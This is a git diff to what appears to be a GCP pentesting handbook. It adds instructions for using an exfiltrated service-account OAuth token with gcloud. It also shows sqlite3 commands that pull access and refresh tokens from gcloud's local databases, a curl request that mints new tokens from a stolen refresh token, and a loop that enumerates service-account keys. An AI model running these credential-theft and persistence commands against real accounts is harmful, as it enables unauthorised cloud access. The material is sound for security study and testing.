diff --git a/pentesting-cloud/gcp-security/README.md b/pentesting-cloud/gcp-security/README.md index 594b5b8144..b0c1541192 100644 --- a/pentesting-cloud/gcp-security/README.md +++ b/pentesting-cloud/gcp-security/README.md @@ -211,6 +211,22 @@ gcloud config unset auth/disable_ssl_validation gcloud config unset core/custom_ca_certs_file ``` +### OAuth token configure in gcloud + +In order to **use an exfiltrated service account OAuth token from the metadata endpoint** you can just do: + +```bash +# Via env vars +export CLOUDSDK_AUTH_ACCESS_TOKEN= +gcloud projects list + +# Via setup +echo "" > /some/path/to/token +gcloud config set auth/access_token_file /some/path/to/token +gcloud projects list +gcloud config unset auth/access_token_file +``` + ## References * [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/) diff --git a/pentesting-cloud/gcp-security/gcp-non-svc-persistance.md b/pentesting-cloud/gcp-security/gcp-non-svc-persistance.md index efc5e3ad75..9ef58ffd38 100644 --- a/pentesting-cloud/gcp-security/gcp-non-svc-persistance.md +++ b/pentesting-cloud/gcp-security/gcp-non-svc-persistance.md @@ -87,21 +87,27 @@ This is because by default you **will be able to use the refresh token as long** To get the current token of a user you can run: +{% code overflow="wrap" %} ```bash sqlite3 ./.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='';" ``` +{% endcode %} To get the details to generate a new access token run: +{% code overflow="wrap" %} ```bash sqlite3 ./.config/gcloud/credentials.db "select value from credentials where account_id='';" ``` +{% endcode %} To get a new refreshed access token with the refresh token, client ID, and client secret run: +{% code overflow="wrap" %} ```bash curl -s --data client_id= --data client_secret= --data grant_type=refresh_token --data refresh_token= --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token ``` +{% endcode %} ### Service Accounts @@ -120,7 +126,7 @@ Some remediations for these techniques are explained in [https://www.netskope.co When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the computing instance (VM) will **have a** [**scope**](https://oauth.net/2/scope/) **limitation included**. However, you might be able to **bypass** this limitation and exploit the permissions the compromised account has. -The **best way to bypass** this restriction is either to **find new credentials** in the compromised host, to **find the service key to generate an OUATH token** without restriction or to **jump to a different VM less restricted**. +The **best way to bypass** this restriction is either to **find new credentials** in the compromised host, to **find the service key to generate an OAuth token** without restriction or to **jump to a different VM less restricted**. **Pop another box** @@ -128,7 +134,7 @@ It's possible that another box in the environment exists with less restrictive a Also keep an eye out for instances that have the default service account assigned (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`). -**Find service account keys** +**Search service account keys** Google states very clearly [**"Access scopes are not a security mechanism… they have no effect when making requests not authenticated through OAuth"**](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam). @@ -138,7 +144,7 @@ Check if any service account has exported a key at some point with: ```bash for i in $(gcloud iam service-accounts list --format="table[no-heading](email)"); do - echo Looking for keys for $i: + echo "Looking for keys for $i:" gcloud iam service-accounts keys list --iam-account $i done ```